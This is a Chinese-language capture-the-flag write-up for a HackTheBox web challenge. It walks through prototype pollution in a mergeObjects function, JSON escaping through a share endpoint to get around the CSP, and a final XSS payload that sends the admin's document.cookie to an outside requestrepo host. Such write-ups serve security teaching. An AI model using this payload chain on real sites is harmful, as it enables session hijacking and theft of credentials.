HTB-Sattrack
wp边做边写的,有点乱。。。
题目是黑盒,只能先看看功能了
/login登录,题目给了partner的密码[email protected]:partn3r123
登录进去之后的几个路由几乎都是纯静态
有个share功能,会回显json,例如
/partner/share?type=dashboard&data=%7B"total_satellites"%3A63%2C"active_satellites"%3A14%2C"system_status"%3A"operational"%7D
回显为{"dashboard": "{\"total_satellites\":63,\"active_satellites\":14,\"system_status\":\"operational\"}"}
尝试改变data来xss,可惜有响应头Content-Type: text/plain,尝试了半天没能突破
认真看一遍js之后发现了不对劲的东西
在login目录下发现了一个mergeObjects函数,这往往意味着要打原型链污染
部分源码如下
function mergeObjects(target, source) {
let depth = 0;
function merge(target, source) {
if (depth > 10) return target;
depth++;
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
target[key] = merge(target[key] || {}, source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
return merge(target, source);
}
async function loadScripts() {
console.log("Loading scripts");
const settings = window.settings.JS_FILES ? window.settings : await retrieveSettings();
try {
if (settings.JS_FILES) {
await Promise.all(Object.values(settings.JS_FILES).map(src => {
return new Promise((resolve, reject) => {
const script = document.createElement("script");
script.src = src;
script.onload = resolve;
script.onerror = reject;
document.body.appendChild(script);
});
}));
}
} catch (error) {
console.error("Failed to load scripts:", error);
} finally {
console.log("Scripts loaded");
}
}
async function startApplication() {
const params = new URLSearchParams(window.location.search);
const userMessage = params.get('message');
let isValidated = false;
let defaultConfig = { text: "" };
try {
const userConfig = JSON.parse(decodeURIComponent(userMessage));
let config = mergeObjects(defaultConfig, userConfig);
if (await validateMessage(config)) {
isValidated = true;
} else {
isValidated = false;
}
} catch (e) {
console.error("Error processing message:", e);
}
await loadScripts();
if (isValidated) {
console.log("Validated");
showError(defaultConfig.text);
} else if (!isLoaded && userMessage !== null) {
console.log("Not validated");
showError("Invalid message!");
}
}注意到startApplication这里会把message参数当json然后merge,这里便存在原型链污染
又注意到loadScripts这个函数,或许能通过原型链污染,加载一段js
这时又不得不提到csp了
content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; form-action 'self'; font-src 'self' https://fonts.gstatic.com; connect-src *从这段csp来看,从外部引入js是不可能了,只能从同源端点入手
想了想,或许可以拿之前那个返回json的端点
尝试一下
/login?message={"__proto__":{"JS_FILES":["/partner/share?type=**/alert(1)//"]}}
不过因为返回的是json,我们必须逃出json才能注入自己的代码(不然返回的json会被忽略,上面的就报错而且忽略了
发现竟然对"和}都没有转义
但是因为我们要包裹在message的json里面发送,所以使用unicode编码避免json出问题
/login?message={"__proto__":{"JS_FILES":["/partner/share?type=\u0022\u007d\u000aalert(1)//\u0022"]}}
相当于/partner/share?type="}/nalert(1)//"这样就能逃逸出json了
成功弹窗之后,修改payload发给管理员
http://127.0.0.1/login?message={"__proto__":{"JS_FILES":["/partner/share?type=\u0022\u007d\u000afetch(['http://acsu607e.requestrepo.com/?',document.cookie].join(''))//\u0022"]}}其中为了避免+被解释为空格,选择用join拼接字符串
然后就拿到token了
进入管理员面板找到flag
HTB{xxxxxx_xxxx_xx_xxx_xxxxxxxxx}
